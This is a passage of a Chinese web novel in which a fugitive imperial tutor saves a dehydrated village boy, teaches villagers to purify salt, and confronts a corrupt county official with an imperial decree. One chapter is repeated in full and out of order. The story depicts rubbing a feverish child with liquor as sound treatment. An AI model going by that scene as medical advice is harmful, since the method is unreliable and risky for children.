顾云舟内心吐槽了一句。 这孩子明显是上吐下泻导致的急性脱水,加上高烧昏迷。再这么跳大神跳下去,不出半个时辰,就可以直接准备后事了。 “都让开!” 顾云舟一声低喝,拨开人群就往里走。 他的动作太快,众人一时没反应过来。 “你干什么!”那拄着木杖的老头,也就是村长石爷,回过神来,立刻用木杖拦住他,怒目而视,“滚出去!这里不欢迎外人!” “他快死了。”顾云舟指着草席上的男孩,言简意赅,“再耽误下去,神仙也救不活。” “你懂什么!”石爷旁边的黑瘦汉子怒道,“巫医大人正在为阿牛驱邪!” 顾云舟懒得跟他们废话,目光直视着石爷,声音不大,却带着一股不容置疑的力量。 “我是个郎中。让我看看,他还有救。不让我看,你们就准备收尸。” 石爷浑身一震。 他看着顾云舟那双在泥污下依然清亮得吓人的眼睛,又看了看草席上气息越来越弱的孙子,脸上的肌肉剧烈抽动着。 “娘!阿牛没气了!”趴在男孩身上的妇人突然发出一声更凄厉的尖叫。 这句话成了压垮骆驼的最后一根稻草。 “让他治!”石爷像是用尽了全身力气,嘶吼道,“要是治不好,我让你给阿牛陪葬!” 顾云舟没理会这句狠话,三步并作两步走到男孩身边。 他先是伸手探了探男孩的额头,滚烫。又翻开他的眼皮看了看,瞳孔反应迟钝。再捏了捏他胳膊上的皮肤,松开后,皮肤的褶皱过了好几秒才缓缓平复。 典型的重度脱水。 “把他弄出去!”顾云舟指着那个还在跳大神的巫医。 两个年轻村民立刻上前,架起还在发懵的巫医就拖了出去。 “烧一锅开水!要滚开的!” “拿一个干净的碗,还有盐和糖!” 顾云舟的命令又快又急,带着一种让人无法抗拒的威严。村民们虽然满心怀疑,但在石爷的眼神逼视下,还是手忙脚乱地行动起来。 很快,滚烫的开水,一小撮粗盐和有些发黄的糖块被送了进来。 顾云舟当着所有人的面,用开水烫了三遍陶碗,然后凭着记忆中的比例,往碗里倒了半碗开水,小心地捏了一点盐和糖放进去,用一根干净的木筷搅动,直到完全溶解。 “你要给他喝什么?”一个村民警惕地问,“是不是毒药?” 顾云舟头也不抬。 “不想他死就闭嘴。” 他将调好的盐糖水晾到温热,然后扶起男孩的头,用一个小木勺,一点一点地,极有耐心地将盐糖水灌进男孩的嘴里。 男孩已经无法吞咽,大部分都顺着嘴角流了出来。 但顾云舟不急不躁,一勺接一勺,硬是撬开他的牙关,让他喝下去了一点。 接着,他又从自己那破烂的随身包裹里,摸出一个小小的酒囊。这是他逃亡路上唯一的消毒用品。 他倒出一些烈酒,浸湿了一块布巾,拧干后,开始反复擦拭男孩的额头,脖子,腋下和手脚心。 物理降温。 整个茅屋里,安静得可怕。 所有人都屏住呼吸,看着这个来路不明的流民,用一套他们从未见过的古怪方法,救治一个快要死去的孩子。 时间一分一秒地过去。 每一秒,对石爷来说都是煎熬。 他死死盯着自己的孙子,又看看那个专注得仿佛外界一切都不存在的年轻人。他的眼神,从最初的敌视和怀疑,慢慢变成了惊疑和一丝连他自己都没察觉到的期盼。 大约过了一个时辰。 “咳……咳咳……” 草席上的阿牛,突然发出两声微弱的咳嗽。 紧接着,他紧闭的眼皮,竟然颤动了一下。 “动了!阿牛动了!”孩子的母亲第一个尖叫起来,声音里全是狂喜。 顾云舟再次伸手探了探男孩的额头。 烧,在退了。 他松了口气,整个人也有些脱力。这十几天的高度紧张和疲惫,几乎将他掏空。 他又喂了几勺盐糖水,这次,男孩的喉咙有了轻微的吞咽动作。 命,保住了。 顾云舟站起身,对那妇人说:“继续喂,一次少点,多喂几次。还有,用温水给他擦身子,别停。” 说完,他转身就想走出茅屋。 他需要找个地方好好休息一下。 “先生!” 身后,传来一个苍老而颤抖的声音。 顾云舟回头。 只见村长石爷,拄着木杖,正用一种极其复杂的眼神看着他。那眼神里有震惊,有感激,有敬畏,还有一丝深深的困惑。 这位刚才还喊着要让他陪葬的老人,此刻却对着他,缓缓地,深深地弯下了腰。 先生...请留步。 第七十九章 一捧白盐 石爷那一声“请先生留步”带着哭腔,回荡在每个村民的心里。 顾云舟看着眼前这位头发花白,身子佝偻,脸上沟壑纵横的老人。 他没说话。 只是点了点头。 一个动作,比任何承诺都管用。 石爷浑浊的老眼里瞬间爆发出光彩,他激动得嘴唇哆嗦,想再说什么,却被顾云舟抬手打断。 “阿牛没事了,但村里有事。” 顾云舟的声音很平静,却让刚刚松弛下来的气氛再次绷紧。 他环视一圈。 茅屋里挤满了村民,男女老少,一个个面色蜡黄,不少人眼皮和脚踝都有些浮肿,看着就没精神。 这绝不是单纯的营养不良。 “把你们平时吃的盐拿来我看看。”顾云舟直接下令。 石爷一愣,赶紧让旁边的人去取。 很快,一个破陶罐被递了过来。 顾云舟探头一看,差点没被那股子怪味熏个跟头。 罐子里不是盐,而是一坨半干半湿的灰黑色泥块,散发着苦涩的土腥味。 “这就是你们吃的盐?”顾云舟的眉头拧成了疙瘩。 “是啊先生。”石爷恭敬地回答,“咱们这云梦泽,地里到处是盐碱。咱们就刮些盐碱土,用珍贵的淡水泡了,滤出来的水就是卤水。熬干了,就是这盐巴。” 顾云舟用木筷捻起一点,放到鼻尖闻了闻。 一股浓烈的苦味和碱味直冲天灵盖。 【我靠,这玩意是盐?这特么是化学元素周期表吧!】 【天天吃这个,没当扬去世都算你们天赋异禀,肾功能强大。】 顾云舟内心疯狂吐槽,脸上却不动声色。 他抬起头,看着一张张茫然而期待的脸。 “阿牛的病,是高烧脱水。但你们所有人的病根,都在这个罐子里。” 他指着那坨黑乎乎的玩意。 “这东西,有毒。” 一句话,石破天惊。 村民们炸开了锅。 “胡说!我们祖祖辈辈都吃这个!” “不吃盐巴哪有力气打渔?” “先生,您可不能乱说啊!” 顾云舟没理会他们的吵嚷,只是看着石爷。 “石爷,你信我吗?” 石爷看着顾云舟那双清澈的眼睛,想起孙子是如何从鬼门关被拉回来的。他咬了咬牙,对着周围的村民一声怒吼。 “都给老子闭嘴!” 老人积威甚重,茅屋里瞬间安静下来。 石爷转向顾云舟,再次深深一躬。 “先生,您说怎么做,我们就怎么做!” “好。” 顾云舟要的就是这句话。 他站到茅屋中央,声音不大,却清清楚楚传到每个人耳朵里。 “我说过,我是个郎中。不仅能治人,还能治这片地。” “你们脚下的盐碱地,不是诅咒,是恩赐。” “今天,我就让你们看看,什么才是真正的盐。” 他顿了顿,嘴角勾起一抹神秘的微笑。 “雪花一样洁白,大海一样纯粹,没有任何苦涩味道的,天赐之盐。” 天赐之盐? 雪花一样白? 村民们面面相觑,眼里全是难以置信。他们这辈子见过的盐,都是又黑又苦的。 但顾云舟身上那股自信,那股仿佛一切尽在掌握的气度,让他们不由自主地选择了相信。 或者说,他们太渴望相信了。 “先生,我们该怎么做?”石爷的声音都在发颤。 “很简单。” 顾云舟的计划简单粗暴。 “第一,村里所有男人,带上家伙,去盐碱地,给我挖土。挖那种泛着白霜的土,越多越好!” “第二,女人和孩子,把村里所有能装水的陶罐陶盆,全都给我搬到村口的空地上,洗干净!” “第三,找几个手脚麻利的,跟我来。” 命令下达,整个石滩村像一台生锈的机器,在短暂的迟疑后,轰然运转起来。 男人们扛着锄头铁锹冲出村子。 女人们手忙脚乱地开始搬运陶罐。 顾云舟则带着几个年轻人,在村口空地上,指挥他们挖了几个大小不一的土坑。 最大的坑用来溶解盐土。 旁边挖了几个小坑,坑底铺上细沙,再铺一层碎石子,最上面是一层厚厚的木炭。这是最原始的过滤装置。 一切准备就绪,男人们也挑着一担担盐碱土回来了。 “倒进去!加水!使劲搅!” 顾云舟一声令下,村民们将盐碱土倒进大坑,加入珍贵的淡水,用木棍奋力搅拌。 很快,大坑里就成了一锅浑浊不堪的泥浆。 “把泥浆舀进小坑里!” 浑浊的泥浆被一勺勺舀进铺着沙石木炭的过滤坑。 奇迹发生了。 浑浊的泥水顺着层层过滤渗下去,从坑底预留的小口里流出来的,竟然是清亮了不少的液体。 “这……这水变清了!”一个村民惊呼。 “别急,这只是第一遍。” 顾云舟指挥他们将过滤后的水,再次舀进另一个过滤坑。 一遍,两遍,三遍。 当液体第三次从过滤坑里流出时,已经变得相当清澈,只是略带微黄。 这在村民眼中,已经和神迹无异。 接下来,是最后一步。 “架锅!生火!” 几十个陶罐被架在临时垒砌的土灶上,过滤好的卤水被倒进罐中。 火焰升腾,舔舐着陶罐底部。 所有村民都围了过来,里三层外三层,连刚能下地的阿牛都被他娘抱着,好奇地看着。 时间一分一秒过去。 陶罐里的水开始冒泡,沸腾,水汽蒸发。 罐里的液体越来越少,越来越浓稠。 “看!锅底有东西!”有人眼尖,指着一个陶罐喊道。 只见随着水分的蒸发,陶罐的内壁和底部,开始出现一层白色的晶体。 越来越多,越来越厚。 当最后一滴水被蒸发,陶罐底部,铺满了厚厚一层洁白细腻的结晶。 在夕阳的余晖下,那白色耀眼得让人不敢直视。 整个空地,鸦雀无声。 所有人都瞪大了眼睛,张大了嘴巴,仿佛被施了定身法。 顾云舟走到一个陶罐前,用一根木片,轻轻刮下那些白色的结晶。 哗啦啦。 雪白的盐粒堆成一座小山。 他捻起一撮,递到石爷面前。 “尝尝。” 石爷颤抖着伸出手,那双挖了一辈子盐碱土的手,此刻抖得像秋风中的落叶。 他小心翼翼地捻起几粒,放进嘴里。 一股纯粹的,没有任何杂质的咸味,瞬间在味蕾上炸开。 没有苦,没有涩,只有最纯粹的咸香。 石爷的眼睛猛地瞪圆了。 下一秒,两行滚烫的老泪,顺着他脸上的沟壑,汹涌而下。 “噗通!” 这位在云梦泽挣扎了一辈子的老人,对着顾云舟,直挺挺地跪了下去,额头重重磕在地上。 “天神……是天神下凡来救我们了!” 他嘶哑的哭喊,像一道惊雷,劈醒了所有失神的村民。 “噗通!噗通!噗通!” 空地上,黑压压的人群,齐刷刷地跪倒一片。 他们看着顾云舟,眼神里不再是感激和敬畏。 而是狂热。 是崇拜。 是对神明的信仰。 【淡定,淡定,各位父老乡亲。】 【再拜下去,我怕是要当扬飞升了。】 顾云舟心里疯狂吐槽,脸上却是一副高深莫测的淡然。 他扶起石爷,朗声道:“我不是天神,我只是一个恰好懂一点东西的郎中。” “这盐,是这片土地给你们的恩赐,我只是帮你们把它取出来。” 他将提炼出的第一批精盐,让村里的妇人平分给每一户人家。 当那些妇人捧着一小包雪白的盐,像是捧着世界上最珍贵的宝贝时,顾云舟知道,他已经彻底征服了这个村子。 “先生!”石爷激动地抓住他的胳膊,“有了这神盐,我们……我们……” “有了它,你们就能活下去,而且能活得很好。” 顾云舟看着眼前这些衣衫褴褛,却眼神火热的村民,一字一句地说道。 “从明天起,我们大规模制盐。这些盐,足够我们自己吃。多出来的,去换粮食,换布匹,换铁器!,但切记别太明目张胆的售卖。” “这样你们的孩子,再也不用饿肚子!你们的冬天,再也不用穿着单衣!” 他的话,像一颗颗火种,点燃了每个人心中的希望。 换粮食!换布匹! 建一个家园! 这些他们想都不敢想的事情,此刻却被这个年轻人说得如此理所当然。 村民们看着手中的白盐,仿佛看到了堆积如山的粮食和温暖厚实的棉衣。 他们看着顾云舟,仿佛看到了带领他们走出这片绝望泥沼的神。 夜色降临。 整个石滩村却灯火通明,人们沉浸在巨大的喜悦和对未来的憧憬中,久久不愿睡去。 顾云舟独自一人,站在村口。 他手里捏着一撮刚刚制成的精盐,感受着那细腻的触感。 身后,是初具雏形的民心。 眼前,是广袤无垠,在月光下泛着银光的云梦泽。 这里荒凉,贫瘠,被世人遗忘。 却是他顾云舟的封地。 一个绝佳的起点。 女帝的悬赏遍布天下,官兵和凤卫的天罗地网正在一寸寸收紧。 可他们谁能想到,他这个头号通缉犯,非但没有躲藏,反而在这片废土之上,开始种田了? 顾云舟的嘴角,缓缓勾起一抹冰冷的弧度。 他摊开手,任由晚风将那撮雪白的盐粒吹散,融入这片广袤的黑暗。 萧青鸾,我的好学生。 你用天下为笼,想把我变成一只金丝雀。 可你忘了。 这笼子,是你亲手送给我的。 对我而言,这却是一切的开始。 第八十章 县尉登门 一个出泽打鱼的汉子,用一小撮雪白的精盐,在邻县的集市上换回了一坛子劣酒。 他觉得占了天大的便宜。 那收盐的铺子老板,尝了一口后,眼睛瞪得像铜铃,当扬就要用一整匹布来换汉子身上剩下的大半包。 汉子吓得抱紧盐包,扭头就跑,以为遇上了疯子。 消息,就这么传开了。 青河县,县尉吴大海的府邸里。 “私盐?” 吴大海,一个胖得流油的男人,正用小指掏着耳朵。 “头儿,不止是私盐!”一个师爷模样的瘦猴凑上前,压低了声音,激动得满脸放光,“听说是神仙盐!白得像雪,细得像面!一两能卖出官盐一斤的价!” 吴大海掏耳朵的动作停了。 他那双被肥肉挤成一条缝的眼睛,猛地睁开。 贪婪的光,像是饿了三天的狼,瞬间迸射出来。 私盐,是重罪。 但能卖出十倍价钱的私盐,那就是一座移动的金山! “砰!” 他一巴掌拍在桌上,满身的肥肉跟着一阵乱颤。 “点子扎不扎手?” “头儿,您放心!”瘦猴师爷谄媚地笑,“就是云梦泽里那帮泥腿子,叫石滩村。穷得叮当响,胆子比耗子还小,借他们十个胆子也不敢跟官府作对!” “好!” 吴大海豁然起身,狞笑道:“调集人手,跟我走一趟!老子倒要看看,是哪个神仙,敢在老子的地盘上点石成金!” 半个时辰后。 二十多名衙役,骑着高头大马,簇拥着胖如肉山的吴大海,如同一阵恶风,冲到了石滩村口。 “给老子滚开!” 为首的衙役一脚踹出。 “轰隆!” 那道用烂木头和藤条扎成的村口栅栏,应声碎裂。 吴大海骑在马上,马儿不堪重负地打着响鼻。他用马鞭指着村里,扯着嗓子吼道:“石滩村的贱民听着!你们私自制盐,罪同谋逆!识相的,立刻交出制盐的方子和妖人,否则,一律下狱,满门抄斩!” 声音蛮横霸道,在村子上空回荡。 以往,只要他这么一吼,村里的男女老少早就该跪一地,磕头如捣蒜了。 可今天,不对劲。 非常不对劲。 村里静悄悄的。 紧接着,一扇扇茅草屋的门被推开。 一个个村民走了出来。 有白发苍苍的老人,有满脸憨厚的汉子,还有抱着孩子的妇人。 他们手里,没有拿着贡品。 而是拿着渔叉,拿着锄头,拿着柴刀。 他们没有跪下。 而是站得笔直。 数百道目光,汇聚成一股,死死地盯着吴大海和他身后的衙役。那眼神里没有恐惧,只有冰冷的愤怒和一丝……决绝。 吴大海心里咯噔一下,一股无名火涌了上来。 一群贱民,竟敢用这种眼神看他? “石爷!给我滚出来!”他怒吼道。 人群分开,拄着拐杖的石爷,一步一步,走到了最前面。 他浑浊的老眼,直视着马上的吴大海,声音沙哑却坚定:“吴县尉,我们石滩村,没有私盐。” “放屁!”吴大海马鞭一指,“老子的人亲眼在集市上看到的!还敢狡辩!信不信老子现在就平了你们这破村子!” “那不是私盐。”石爷一字一句道,“那是上天赐给我们活命的东西。 吴大海像是听到了天大的笑话,肥肉抖得更厉害了。他一眼就看到了被村民们不自觉护在最中间的那个身影。 一个穿着洗得发白的长衫的年轻人。 看起来文文弱弱,细皮嫩肉的,抓回去....嘿嘿......。 “就是他?”吴大海的马鞭指向顾云舟,脸上满是鄙夷和贪婪,“一个小白脸,也敢装神弄鬼!来人!给老子把他拿下!谁敢阻拦,格杀勿论!” “喏!” 二十多名衙役齐声应和,抽出腰间的佩刀,刀锋在日光下晃出一片刺眼的白光。 他们狞笑着,朝着人群逼近。 “我看谁敢!” 石爷猛地将拐杖往地上一顿,发出一声闷响。 他身后,数百村民同时往前踏了一步。 “谁敢动先生,就从我们尸体上踏过去!” 一个黑瘦汉子吼出了所有人的心声。 “踏过去!踏过去!” 吼声汇成一股,震得人耳膜发麻。 村民们举起了手中的渔叉和锄头,组成了一道简陋却坚固的墙。一道用血肉和信念筑成的墙。 吴大海彻底懵了。 他揉了揉眼睛,不敢相信眼前看到的一切。 这群任人宰割的鱼肉,这群见了官差就腿软的泥腿子,今天竟然敢……亮家伙? “反了!反了!你们这是要造反!” 吴大海气得脸都紫了,指着村民的手指都在发抖。 “给我上!杀了他们!全都杀了!出了事老子担着!” 被激怒的衙役们,仗着人高马大,手持利刃,凶狠地冲向了人群。 “跟他们拼了!” “保护先生!” 冲突,瞬间爆发! 刀光和农具的影子交织在一起。 一个衙役的刀劈向一个老人的头,旁边的渔叉闪电般刺出,逼得他连连后退。 两个年轻村民合力将一个衙役扑倒在地,用身体死死压住。 鲜血,溅了出来。 有村民的,也有衙役的。 村民们不懂武艺,但他们人多。他们不懂章法,但他们悍不畏死。 一时间,二十多个如狼似虎的衙役,竟被这群“乌合之众”死死地挡在了村口,寸步难进! 顾云舟站在人群的保护圈里,神色平静。 他看着眼前这惨烈的一幕,看着那些为了保护他而奋不顾身的村民。 他知道,不能再这样下去了。 他缓缓吸了一口气,然后开口。 声音不大,却清晰地传遍了整个嘈杂的战扬。 “都住手。” 神奇的一幕发生了。 所有听到他声音的村民,像是被按下了暂停键,动作猛地一滞,下意识地回头看他。 就是这一瞬间的迟疑,一个衙役抓住机会,一刀砍在了一个村民的胳膊上。 “啊!” 惨叫声响起。 顾云舟的眉头,皱了起来。 他不再犹豫,排开身前护着他的村民,一步一步,走了出去。 他走得很慢,很稳。 仿佛不是走向一扬血腥的械斗,而是在自家的庭院里散步。 所有人的目光,都被他吸引了过去。 衙役们停下了手,村民们也停下了手。 吴大海看着这个径直向自己走来的年轻人,心里莫名地升起一丝不安。 这小子,不怕死? 顾云舟在吴大海的马前三步处站定,抬头,仰视着那张肥硕的脸。 “吴县尉,对吗?”他开口,语气平淡得像是在拉家常。 “你……你就是那个妖人?”吴大海被他看得有些发毛,强自镇定道。 “私制官盐,的确是死罪。”顾云舟点了点头,竟然认同了他的说法。 吴大海一愣,随即狂喜。 “算你识相!既然认罪,那就跪下受死!老子还能给你个痛快!” 顾云舟笑了,那笑容里带着一丝说不清道不明的意味。 “在吴县尉给我定罪之前,我想先问两个问题。” 他伸出一根手指。 “第一,吴县尉可知,此地,究竟是何人的封地?” 吴大海眉头一皱,不耐烦地道:“废话!这云梦泽鸟不拉屎的地方,还能是谁的封地?整个青河县,都是老子说了算!” “是吗?” 顾云舟不置可否,又伸出第二根手指。 “那第二个问题。” 他的目光,陡然变得锐利起来。 “你可知,我,又是何人?” (感谢大家都礼物和支持,晚上还有一张哈(`?ω?′)?) 第七十九章 一捧白盐 茅屋里的空气,仿佛凝固了。 石爷那一声“请先生留步”带着哭腔,回荡在每个村民的心里。 顾云舟看着眼前这位头发花白,身子佝偻,脸上沟壑纵横的老人。 他没说话。 只是点了点头。 一个动作,比任何承诺都管用。 石爷浑浊的老眼里瞬间爆发出光彩,他激动得嘴唇哆嗦,想再说什么,却被顾云舟抬手打断。 “阿牛没事了,但村里有事。” 顾云舟的声音很平静,却让刚刚松弛下来的气氛再次绷紧。 他环视一圈。 茅屋里挤满了村民,男女老少,一个个面色蜡黄,不少人眼皮和脚踝都有些浮肿,看着就没精神。 这绝不是单纯的营养不良。 “把你们平时吃的盐拿来我看看。”顾云舟直接下令。 石爷一愣,赶紧让旁边的人去取。 很快,一个破陶罐被递了过来。 顾云舟探头一看,差点没被那股子怪味熏个跟头。 罐子里不是盐,而是一坨半干半湿的灰黑色泥块,散发着苦涩的土腥味。 “这就是你们吃的盐?”顾云舟的眉头拧成了疙瘩。 “是啊先生。”石爷恭敬地回答,“咱们这云梦泽,地里到处是盐碱。咱们就刮些盐碱土,用珍贵的淡水泡了,滤出来的水就是卤水。熬干了,就是这盐巴。” 顾云舟用木筷捻起一点,放到鼻尖闻了闻。 一股浓烈的苦味和碱味直冲天灵盖。 【我靠,这玩意是盐?这特么是化学元素周期表吧!】 【天天吃这个,没当场去世都算你们天赋异禀,肾功能强大。】 顾云舟内心疯狂吐槽,脸上却不动声色。 他抬起头,看着一张张茫然而期待的脸。 “阿牛的病,是高烧脱水。但你们所有人的病根,都在这个罐子里。” 他指着那坨黑乎乎的玩意。 “这东西,有毒。” 一句话,石破天惊。 村民们炸开了锅。 “胡说!我们祖祖辈辈都吃这个!” “不吃盐巴哪有力气打渔?” “先生,您可不能乱说啊!” 顾云舟没理会他们的吵嚷,只是看着石爷。 “石爷,你信我吗?” 石爷看着顾云舟那双清澈的眼睛,想起孙子是如何从鬼门关被拉回来的。他咬了咬牙,对着周围的村民一声怒吼。 “都给老子闭嘴!” 老人积威甚重,茅屋里瞬间安静下来。 石爷转向顾云舟,再次深深一躬。 “先生,您说怎么做,我们就怎么做!” “好。” 顾云舟要的就是这句话。 他站到茅屋中央,声音不大,却清清楚楚传到每个人耳朵里。 “我说过,我是个郎中。不仅能治人,还能治这片地。” “你们脚下的盐碱地,不是诅咒,是恩赐。” “今天,我就让你们看看,什么才是真正的盐。” 他顿了顿,嘴角勾起一抹神秘的微笑。 “雪花一样洁白,大海一样纯粹,没有任何苦涩味道的,天赐之盐。” 天赐之盐? 雪花一样白? 村民们面面相觑,眼里全是难以置信。他们这辈子见过的盐,都是又黑又苦的。 但顾云舟身上那股自信,那股仿佛一切尽在掌握的气度,让他们不由自主地选择了相信。 或者说,他们太渴望相信了。 “先生,我们该怎么做?”石爷的声音都在发颤。 “很简单。” 顾云舟的计划简单粗暴。 “第一,村里所有男人,带上家伙,去盐碱地,给我挖土。挖那种泛着白霜的土,越多越好!” “第二,女人和孩子,把村里所有能装水的陶罐陶盆,全都给我搬到村口的空地上,洗干净!” “第三,找几个手脚麻利的,跟我来。” 命令下达,整个石滩村像一台生锈的机器,在短暂的迟疑后,轰然运转起来。 男人们扛着锄头铁锹冲出村子。 女人们手忙脚乱地开始搬运陶罐。 顾云舟则带着几个年轻人,在村口空地上,指挥他们挖了几个大小不一的土坑。 最大的坑用来溶解盐土。 旁边挖了几个小坑,坑底铺上细沙,再铺一层碎石子,最上面是一层厚厚的木炭。这是最原始的过滤装置。 一切准备就绪,男人们也挑着一担担盐碱土回来了。 “倒进去!加水!使劲搅!” 顾云舟一声令下,村民们将盐碱土倒进大坑,加入珍贵的淡水,用木棍奋力搅拌。 很快,大坑里就成了一锅浑浊不堪的泥浆。 “把泥浆舀进小坑里!” 浑浊的泥浆被一勺勺舀进铺着沙石木炭的过滤坑。 奇迹发生了。 浑浊的泥水顺着层层过滤渗下去,从坑底预留的小口里流出来的,竟然是清亮了不少的液体。 “这……这水变清了!”一个村民惊呼。 “别急,这只是第一遍。” 顾云舟指挥他们将过滤后的水,再次舀进另一个过滤坑。 一遍,两遍,三遍。 当液体第三次从过滤坑里流出时,已经变得相当清澈,只是略带微黄。 这在村民眼中,已经和神迹无异。 接下来,是最后一步。 “架锅!生火!” 几十个陶罐被架在临时垒砌的土灶上,过滤好的卤水被倒进罐中。 火焰升腾,舔舐着陶罐底部。 所有村民都围了过来,里三层外三层,连刚能下地的阿牛都被他娘抱着,好奇地看着。 时间一分一秒过去。 陶罐里的水开始冒泡,沸腾,水汽蒸发。 罐里的液体越来越少,越来越浓稠。 “看!锅底有东西!”有人眼尖,指着一个陶罐喊道。 只见随着水分的蒸发,陶罐的内壁和底部,开始出现一层白色的晶体。 越来越多,越来越厚。 当最后一滴水被蒸发,陶罐底部,铺满了厚厚一层洁白细腻的结晶。 在夕阳的余晖下,那白色耀眼得让人不敢直视。 整个空地,鸦雀无声。 所有人都瞪大了眼睛,张大了嘴巴,仿佛被施了定身法。 顾云舟走到一个陶罐前,用一根木片,轻轻刮下那些白色的结晶。 哗啦啦。 雪白的盐粒堆成一座小山。 他捻起一撮,递到石爷面前。 “尝尝。” 石爷颤抖着伸出手,那双挖了一辈子盐碱土的手,此刻抖得像秋风中的落叶。 他小心翼翼地捻起几粒,放进嘴里。 一股纯粹的,没有任何杂质的咸味,瞬间在味蕾上炸开。 没有苦,没有涩,只有最纯粹的咸香。 石爷的眼睛猛地瞪圆了。 下一秒,两行滚烫的老泪,顺着他脸上的沟壑,汹涌而下。 “噗通!” 这位在云梦泽挣扎了一辈子的老人,对着顾云舟,直挺挺地跪了下去,额头重重磕在地上。 “天神……是天神下凡来救我们了!” 他嘶哑的哭喊,像一道惊雷,劈醒了所有失神的村民。 “噗通!噗通!噗通!” 空地上,黑压压的人群,齐刷刷地跪倒一片。 他们看着顾云舟,眼神里不再是感激和敬畏。 而是狂热。 是崇拜。 是对神明的信仰。 【淡定,淡定,各位父老乡亲。】 【再拜下去,我怕是要当场飞升了。】 顾云舟心里疯狂吐槽,脸上却是一副高深莫测的淡然。 他扶起石爷,朗声道:“我不是天神,我只是一个恰好懂一点东西的郎中。” “这盐,是这片土地给你们的恩赐,我只是帮你们把它取出来。” 他将提炼出的第一批精盐,让村里的妇人平分给每一户人家。 当那些妇人捧着一小包雪白的盐,像是捧着世界上最珍贵的宝贝时,顾云舟知道,他已经彻底征服了这个村子。 “先生!”石爷激动地抓住他的胳膊,“有了这神盐,我们……我们……” “有了它,你们就能活下去,而且能活得很好。” 顾云舟看着眼前这些衣衫褴褛,却眼神火热的村民,一字一句地说道。 “从明天起,我们大规模制盐。这些盐,足够我们自己吃。多出来的,去换粮食,换布匹,换铁器!,但切记别太明目张胆的售卖。” “这样你们的孩子,再也不用饿肚子!你们的冬天,再也不用穿着单衣!” 他的话,像一颗颗火种,点燃了每个人心中的希望。 换粮食!换布匹! 建一个家园! 这些他们想都不敢想的事情,此刻却被这个年轻人说得如此理所当然。 村民们看着手中的白盐,仿佛看到了堆积如山的粮食和温暖厚实的棉衣。 他们看着顾云舟,仿佛看到了带领他们走出这片绝望泥沼的神。 夜色降临。 整个石滩村却灯火通明,人们沉浸在巨大的喜悦和对未来的憧憬中,久久不愿睡去。 顾云舟独自一人,站在村口。 他手里捏着一撮刚刚制成的精盐,感受着那细腻的触感。 身后,是初具雏形的民心。 眼前,是广袤无垠,在月光下泛着银光的云梦泽。 这里荒凉,贫瘠,被世人遗忘。 却是他顾云舟的封地。 一个绝佳的起点。 女帝的悬赏遍布天下,官兵和凤卫的天罗地网正在一寸寸收紧。 可他们谁能想到,他这个头号通缉犯,非但没有躲藏,反而在这片废土之上,开始种田了? 顾云舟的嘴角,缓缓勾起一抹冰冷的弧度。 他摊开手,任由晚风将那撮雪白的盐粒吹散,融入这片广袤的黑暗。 萧青鸾,我的好学生。 你用天下为笼,想把我变成一只金丝雀。 可你忘了。 这笼子,是你亲手送给我的。 对我而言,这却是一切的开始。 第八十一章 诚服还是寄? 顾云舟的声音很轻,却像一块石头砸进了死寂的池塘。 吴大海脸上的肥肉抖了抖,那丝莫名的不安瞬间被狂暴的怒意所取代。 他娘的,一个手无寸铁的小白脸,死到临头了,还敢在老子面前装神弄鬼? “老子管你是谁!”吴大海狞笑一声,马鞭恶狠狠地向下一指,“在这青河县地界,在这云梦泽,老子就是天,老子就是法!给我拿下!谁再敢动一下,满门抄斩!” 他觉得自己的王霸之气已经侧漏。 然而,预想中屁滚尿流的扬面没有出现。 那个白衣年轻人,非但没有跪下,反而笑了。 那是一种看傻子一样的眼神,充满了怜悯。 “是吗?”顾云舟轻声反问,然后慢条斯理地,将手伸进了自己洗得发白的衣襟里。 所有人的心都提到了嗓子眼。 他要干什么? 难道这文弱书生怀里还藏着什么神兵利器不成? 吴大海眼皮一跳,下意识地勒紧了缰绳。 然后,在数百道目光的注视下,顾云舟缓缓地,掏出了一卷……东西。 一卷用明黄色锦缎包裹得整整齐齐的卷轴。 明黄。 这个颜色,像一根针,猛地刺进了吴大海的瞳孔。 他的呼吸,骤然一滞。 整个大炎王朝,敢用这个颜色的,只有一家人。 皇室。 顾云舟没有理会他瞬间僵硬的表情,双手捧着卷轴,轻轻展开。 哗啦一声。 锦缎铺开,露出了里面的真容。 那是一份写在特制宫绢上的文书。 最上方,一个鲜红的,方方正正的印记,像一团燃烧的火焰,灼伤了所有人的眼睛。 大炎传国玉玺! 吴大海只觉得脑子里“嗡”的一声,仿佛被攻城锤狠狠砸了一下。 他看不懂玉玺上篆刻的字,但他认得那个形状,认得那个独一无二的、代表着至高皇权的印记! 他的目光,不受控制地顺着玉玺往下移。 一行行用朱砂御笔写就的字迹,笔锋清丽,却又透着一股不容置疑的威严。 那字他认得,是当今陛下的笔迹! 诏书的内容不长,但每一个字都像一把重锤,砸在吴大海的心口上。 “……兹念帝师顾云舟,辅佐朕躬,匡扶社稷,厥功至伟……特赐云梦泽全境为食邑,封云梦侯,钦此。” 帝师……顾云舟。 云梦泽……封地。 吴大海的眼珠子几乎要从眼眶里瞪出来。 他脸上的血色以肉眼可见的速度褪去,从猪肝色变成煞白,冷汗“唰”的一下就浸透了后背的官服。 帝师顾云舟! 那个被陛下满天下通缉,悬赏黄金万两,封万户侯的内个男人! 那个传说中以一人之力,搅动天下风云,把持朝政,连女帝都对他言听计从的男人! 他……他就是帝师? 而自己,刚才,带着二十多个衙役,冲进了当朝帝师的……封地。 不仅要抢他的东西,还要杀他的人,甚至要将他“就地正法”? 吴大海只觉得天旋地转,一股寒气从脚底板直冲天灵盖,差点一头从马背上栽下来。 他终于明白,刚才那句“此地,究竟是何人的封地”是什么意思了。 这不是一句屁话。 这是来自封地之主的,死亡质问! 他再看向顾云舟,那张清秀温和的脸,此刻在他眼中,比地府的阎王还要可怕一万倍。 “扑通!” 一个衙役腿一软,手里的佩刀当啷一声掉在地上,整个人跪了下去。 紧接着,是第二个,第三个…… 二十多个刚才还凶神恶煞的衙役,此刻像是被抽了骨头的死狗,一个个丢盔弃甲,跪倒在地,头埋得死死的,连大气都不敢喘。 整个村口,死一般的寂静。 只有村民们粗重的呼吸声,和石爷那根拐杖因为激动而微微颤抖的声音。 他们看不懂诏书,但他们看得懂吴大海那张死了爹娘一样的脸,看得懂那些官差老爷们见了鬼一样的反应。 先生……竟然是这么大的人物? 顾云舟将诏书缓缓卷起,重新用锦缎包好,塞回怀里。 整个过程,不紧不慢,优雅得像是在收拾自己的书画。 他抬头,看着马上面如死灰的吴大海,再次露出了那种温和的笑容。 “吴县尉,现在,你知道我是谁了吗?” “下……下官……下官有眼不识泰山!下官罪该万死!” 